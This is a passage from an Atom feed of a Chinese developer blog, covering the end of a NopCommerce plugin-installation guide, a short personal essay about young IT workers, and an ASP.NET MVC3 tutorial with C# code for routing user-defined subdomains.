}&lt;br/&gt;}&lt;/span&gt;&lt;/div&gt;&lt;p&gt;大家注意了，返回的View里的view路径是插件里的视图路径，在view的Index.cshtml点右键设置的属性，cshtml是编译到dll里的&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012053115404789.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;还有整个插件的属性，在插件项目上点右键设置输出属性&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012053115425463.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;最后设置引用进来的dll文件属性。这样输出dll文件的时候不会把其他乱七八糟的文件也拷贝过来了。&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012053116022052.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012053116063069.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012053116064717.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012053116072487.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;在插件上点右键生只输出这三个文件&amp;nbsp;&lt;/p&gt;&lt;h2 style="color: #ffffff; background-color: #999999;"&gt;3.最后一步在Nop.Web的InstalledPlugins.txt里添加插件&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012053115464995.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;插件名称不能重复,可以自定义。这里我的取的名字和插件项目名称相同没什么特殊要求。&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012053115584548.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;后台插件预览就可以看到了。&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/94489/2012053116141227.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;原文来自：&lt;a href="http://www.jqpress.com/post/178.aspx"&gt;http://www.jqpress.com/post/178.aspx&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;独立博客：&lt;a href="http://www.jqpress.com/"&gt;http://www.jqpress.com&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;script type="text/javascript"&gt;// &lt;![CDATA[google_ad_client = "ca-pub-2976783274616186";/* 博客园1 */google_ad_slot = "4211604936";google_ad_width = 728;google_ad_height = 90;// ]]&gt;&lt;/script&gt;&lt;script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;// &lt;![CDATA[// ]]&gt;&lt;/script&gt;&lt;img src="http://www.cnblogs.com/jqbird/aggbug/2528479.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2012/05/31/2528479.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jqbird/archive/2012/05/06/2486102.html</id><title type="text">屌丝IT男</title><summary type="text">偶尔翻到豆瓣里一篇对中国屌丝的批评，突然想到当年美国那个垮掉的一代，吸毒，淫乱，绝望的生存，而如今我们苦逼的80后自诩为屌丝的时候，也不想想每一个堕落的时代还是有牛逼的人存在，中国的大学，绝大部分在逃课，生殖冲动，暗无天日的游戏，苦逼学习的几乎是不入群，悲观消极的情绪像哈欠一样传染着每一个容易被感染的苦逼青年。毕业后即失业，人生没有方向，更无从理想了，傻逼的政府不知道怎么搞教育，造就了一群乌合之众的国家，纵使在这样的环境下，还是有人为理想奋斗着，每一天在充实，相信总有一天会有自己出头的。我不吸毒，不喝酒，不打游戏，不搞乌烟瘴气的社会关系，在苦逼的it路上挨踢，虽然天资和能力都进不了微软goog</summary><published>2012-05-06T08:40:00Z</published><updated>2012-05-06T08:40:00Z</updated><author><name>叶鹏</name><uri>http://www.cnblogs.com/jqbird/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jqbird/archive/2012/05/06/2486102.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jqbird/archive/2012/05/06/2486102.html"/><content type="html">&lt;p&gt;偶尔翻到豆瓣里一篇对中国屌丝的批评，突然想到当年美国那个垮掉的一代，吸毒，淫乱，绝望的生存，而如今我们苦逼的80后自诩为屌丝的时候，也不想想每一个堕落的时代还是有牛逼的人存在，中国的大学，绝大部分在逃课，生殖冲动，暗无天日的游戏，苦逼学习的几乎是不入群，悲观消极的情绪像哈欠一样传染着每一个容易被感染的苦逼青年。毕业后即失业，人生没有方向，更无从理想了，傻逼的政府不知道怎么搞教育，造就了一群乌合之众的国家，纵使在这样的环境下，还是有人为理想奋斗着，每一天在充实，相信总有一天会有自己出头的。&lt;/p&gt;&lt;p&gt;我不吸毒，不喝酒，不打游戏，不搞乌烟瘴气的社会关系，在苦逼的it路上挨踢，虽然天资和能力都进不了微软google之类的公司，每天在自己既定的方向一步步前进。做着自己喜欢做的事情，认真做好每一件事情。摆脱虚伪的自我，既敢为了感情牺牲失业，又要做到掌握自己人生的方向，拒绝屌丝的自嘲，拒绝屌丝的人生。&lt;/p&gt;&lt;p&gt;当明白一切时，秋叶已泛黄，在收获的季节里播种，是期望下一个春天还是奢望冬天来临时那无几的颗实，纵使如此，朝闻道夕可死。&lt;/p&gt;&lt;p&gt;原文出处：&lt;a href="http://www.jqpress.com/post/165.aspx"&gt;http://www.jqpress.com/post/165.aspx&lt;/a&gt;&lt;/p&gt;&lt;p&gt;独立博客：&lt;a href="http://www.jqpress.com/"&gt;http://www.jqpress.com&lt;/a&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/jqbird/aggbug/2486102.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2012/05/06/2486102.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jqbird/archive/2012/02/29/2373304.html</id><title type="text">mvc3实现用户自定义二级域名</title><summary type="text">第一个代码文件View Code public class DomainRoute : Route { private Regex domainRegex; private Regex pathRegex; public string Domain { get; set; } public DomainRoute(string domain, string url, RouteValueDictionary defaults) : base(url, defaults, new MvcRouteHandler...</summary><published>2012-02-29T05:41:00Z</published><updated>2012-02-29T05:41:00Z</updated><author><name>叶鹏</name><uri>http://www.cnblogs.com/jqbird/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jqbird/archive/2012/02/29/2373304.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jqbird/archive/2012/02/29/2373304.html"/><content type="html">&lt;p&gt;第一个代码文件&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;" onclick="cnblogs_code_show('db9b0bdb-f88e-43d5-b811-b050e659e8f9')"&gt;&lt;div id="cnblogs_code_open_db9b0bdb-f88e-43d5-b811-b050e659e8f9" class="cnblogs_code_hide"&gt; &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt; DomainRoute : Route&lt;br /&gt;    {&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; Regex domainRegex;&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; Regex pathRegex;&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; Domain { &lt;span style="color: #0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color: #0000ff;"&gt;set&lt;/span&gt;; }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; DomainRoute(&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; domain, &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; url, RouteValueDictionary defaults)&lt;br /&gt;            : &lt;span style="color: #0000ff;"&gt;base&lt;/span&gt;(url, defaults, &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; MvcRouteHandler())&lt;br /&gt;        {&lt;br /&gt;            Domain = domain;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; DomainRoute(&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; domain, &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; url, RouteValueDictionary defaults, IRouteHandler routeHandler)&lt;br /&gt;            : &lt;span style="color: #0000ff;"&gt;base&lt;/span&gt;(url, defaults, routeHandler)&lt;br /&gt;        {&lt;br /&gt;            Domain = domain;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; DomainRoute(&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; domain, &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; url, &lt;span style="color: #0000ff;"&gt;object&lt;/span&gt; defaults)&lt;br /&gt;            : &lt;span style="color: #0000ff;"&gt;base&lt;/span&gt;(url, &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; RouteValueDictionary(defaults), &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; MvcRouteHandler())&lt;br /&gt;        {&lt;br /&gt;            Domain = domain;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; DomainRoute(&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; domain, &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; url, &lt;span style="color: #0000ff;"&gt;object&lt;/span&gt; defaults, IRouteHandler routeHandler)&lt;br /&gt;            : &lt;span style="color: #0000ff;"&gt;base&lt;/span&gt;(url, &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; RouteValueDictionary(defaults), routeHandler)&lt;br /&gt;        {&lt;br /&gt;            Domain = domain;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;override&lt;/span&gt; RouteData GetRouteData(HttpContextBase httpContext)&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 构造 regex&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            domainRegex = CreateRegex(Domain);&lt;br /&gt;            pathRegex = CreateRegex(Url);&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 请求信息&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; requestDomain = httpContext.Request.Headers[&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;host&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;];&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (!&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt;.IsNullOrEmpty(requestDomain))&lt;br /&gt;            {&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (requestDomain.IndexOf(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;:&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;) &amp;gt; &lt;span style="color: #800080;"&gt;0&lt;/span&gt;)&lt;br /&gt;                {&lt;br /&gt;                    requestDomain = requestDomain.Substring(&lt;span style="color: #800080;"&gt;0&lt;/span&gt;, requestDomain.IndexOf(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;:&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;));&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;else&lt;/span&gt;&lt;br /&gt;            {&lt;br /&gt;                requestDomain = httpContext.Request.Url.Host;&lt;br /&gt;            }&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; requestPath = httpContext.Request.AppRelativeCurrentExecutionFilePath.Substring(&lt;span style="color: #800080;"&gt;2&lt;/span&gt;) + httpContext.Request.PathInfo;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 匹配域名和路由&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            Match domainMatch = domainRegex.Match(requestDomain);&lt;br /&gt;            Match pathMatch = pathRegex.Match(requestPath);&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 路由数据&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            RouteData data = &lt;span style="color: #0000ff;"&gt;null&lt;/span&gt;;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (domainMatch.Success &amp;amp;&amp;amp; pathMatch.Success)&lt;br /&gt;            {&lt;br /&gt;                data = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; RouteData(&lt;span style="color: #0000ff;"&gt;this&lt;/span&gt;, RouteHandler);&lt;br /&gt;&lt;br /&gt;                &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 添加默认选项&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;                &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (Defaults != &lt;span style="color: #0000ff;"&gt;null&lt;/span&gt;)&lt;br /&gt;                {&lt;br /&gt;                    &lt;span style="color: #0000ff;"&gt;foreach&lt;/span&gt; (KeyValuePair&amp;lt;&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt;, &lt;span style="color: #0000ff;"&gt;object&lt;/span&gt;&amp;gt; item &lt;span style="color: #0000ff;"&gt;in&lt;/span&gt; Defaults)&lt;br /&gt;                    {&lt;br /&gt;                        data.Values[item.Key] = item.Value;&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;                &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 匹配域名路由&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;                &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt; (&lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; i = &lt;span style="color: #800080;"&gt;1&lt;/span&gt;; i &amp;lt; domainMatch.Groups.Count; i++)&lt;br /&gt;                {&lt;br /&gt;                    Group group = domainMatch.Groups[i];&lt;br /&gt;                    &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (group.Success)&lt;br /&gt;                    {&lt;br /&gt;                        &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; key = domainRegex.GroupNameFromNumber(i);&lt;br /&gt;&lt;br /&gt;                        &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (!&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt;.IsNullOrEmpty(key) &amp;amp;&amp;amp; !&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;.IsNumber(key, &lt;span style="color: #800080;"&gt;0&lt;/span&gt;))&lt;br /&gt;                        {&lt;br /&gt;                            &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (!&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt;.IsNullOrEmpty(group.Value))&lt;br /&gt;                            {&lt;br /&gt;                                data.Values[key] = group.Value;&lt;br /&gt;                            }&lt;br /&gt;                        }&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;                &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 匹配域名路径&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;                &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt; (&lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; i = &lt;span style="color: #800080;"&gt;1&lt;/span&gt;; i &amp;lt; pathMatch.Groups.Count; i++)&lt;br /&gt;                {&lt;br /&gt;                    Group group = pathMatch.Groups[i];&lt;br /&gt;                    &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (group.Success)&lt;br /&gt;                    {&lt;br /&gt;                        &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; key = pathRegex.GroupNameFromNumber(i);&lt;br /&gt;&lt;br /&gt;                        &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (!&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt;.IsNullOrEmpty(key) &amp;amp;&amp;amp; !&lt;span style="color: #0000ff;"&gt;char&lt;/span&gt;.IsNumber(key, &lt;span style="color: #800080;"&gt;0&lt;/span&gt;))&lt;br /&gt;                        {&lt;br /&gt;                            &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (!&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt;.IsNullOrEmpty(group.Value))&lt;br /&gt;                            {&lt;br /&gt;                                data.Values[key] = group.Value;&lt;br /&gt;                            }&lt;br /&gt;                        }&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; data;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;override&lt;/span&gt; VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;base&lt;/span&gt;.GetVirtualPath(requestContext, RemoveDomainTokens(values));&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; DomainData GetDomainData(RequestContext requestContext, RouteValueDictionary values)&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 获得主机名&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; hostname = Domain;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;foreach&lt;/span&gt; (KeyValuePair&amp;lt;&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt;, &lt;span style="color: #0000ff;"&gt;object&lt;/span&gt;&amp;gt; pair &lt;span style="color: #0000ff;"&gt;in&lt;/span&gt; values)&lt;br /&gt;            {&lt;br /&gt;                hostname = hostname.Replace(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;{&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; + pair.Key + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;}&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;, pair.Value.ToString());&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; Return 域名数据&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            &lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; DomainData&lt;br /&gt;            {&lt;br /&gt;                Protocol = &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;http&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;,&lt;br /&gt;                HostName = hostname,&lt;br /&gt;                Fragment = &lt;span style="color: #800000;"&gt;""&lt;/span&gt;&lt;br /&gt;            };&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; Regex CreateRegex(&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; source)&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 替换&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            source = source.Replace(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;, &lt;span style="color: #800000;"&gt;@"&lt;/span&gt;&lt;span style="color: #800000;"&gt;\/?&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;            source = source.Replace(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;.&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;, &lt;span style="color: #800000;"&gt;@"&lt;/span&gt;&lt;span style="color: #800000;"&gt;\.?&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;            source = source.Replace(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;-&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;, &lt;span style="color: #800000;"&gt;@"&lt;/span&gt;&lt;span style="color: #800000;"&gt;\-?&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;            source = source.Replace(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;{&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;, &lt;span style="color: #800000;"&gt;@"&lt;/span&gt;&lt;span style="color: #800000;"&gt;(?&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;            source = source.Replace(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;}&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;, &lt;span style="color: #800000;"&gt;@"&lt;/span&gt;&lt;span style="color: #800000;"&gt;&amp;gt;([a-zA-Z0-9_]*))&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Regex(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;^&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; + source + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;$&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; RouteValueDictionary RemoveDomainTokens(RouteValueDictionary values)&lt;br /&gt;        {&lt;br /&gt;            Regex tokenRegex = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Regex(&lt;span style="color: #800000;"&gt;@"&lt;/span&gt;&lt;span style="color: #800000;"&gt;({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?({[a-zA-Z0-9_]*})*-?\.?\/?&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;            Match tokenMatch = tokenRegex.Match(Domain);&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt; (&lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; i = &lt;span style="color: #800080;"&gt;0&lt;/span&gt;; i &amp;lt; tokenMatch.Groups.Count; i++)&lt;br /&gt;            {&lt;br /&gt;                Group group = tokenMatch.Groups[i];&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (group.Success)&lt;br /&gt;                {&lt;br /&gt;                    &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; key = group.Value.Replace(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;{&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;, &lt;span style="color: #800000;"&gt;""&lt;/span&gt;).Replace(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;}&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;, &lt;span style="color: #800000;"&gt;""&lt;/span&gt;);&lt;br /&gt;                    &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (values.ContainsKey(key))&lt;br /&gt;                        values.Remove(key);&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; values;&lt;br /&gt;        }&lt;br /&gt;    }&lt;/div&gt;&lt;/div&gt;&lt;p&gt;第二个代码文件&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;    &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt; DomainData&lt;br /&gt;    {&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; Protocol { &lt;span style="color: #0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color: #0000ff;"&gt;set&lt;/span&gt;; }&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; HostName { &lt;span style="color: #0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color: #0000ff;"&gt;set&lt;/span&gt;; }&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; Fragment { &lt;span style="color: #0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color: #0000ff;"&gt;set&lt;/span&gt;; }&lt;br /&gt;    }&lt;/div&gt;&lt;p&gt;在global里注册实现&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;            routes.Add(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;DomainRoute&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;, &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; DomainRoute(&lt;br /&gt;           &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;{subdomain}.您的域名.com&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;,     &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; Domain with parameters &lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;           &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;{controller}/{action}/{id}&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;,    &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; URL with parameters &lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;           &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; { subdomain = &lt;span style="color: #800000;"&gt;""&lt;/span&gt;, controller = &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;Home&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;, action = &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;Index&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;, id = &lt;span style="color: #800000;"&gt;""&lt;/span&gt; }  &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; Parameter defaults&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;           ));&lt;/div&gt;&lt;p&gt;&lt;br /&gt;在HomeController的index 里获取域名值&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;获取二级域名&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            &lt;span style="color: #0000ff;"&gt;var&lt;/span&gt; subdomain = RouteData.Values[&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;subdomain&lt;/span&gt;&lt;span style="color: 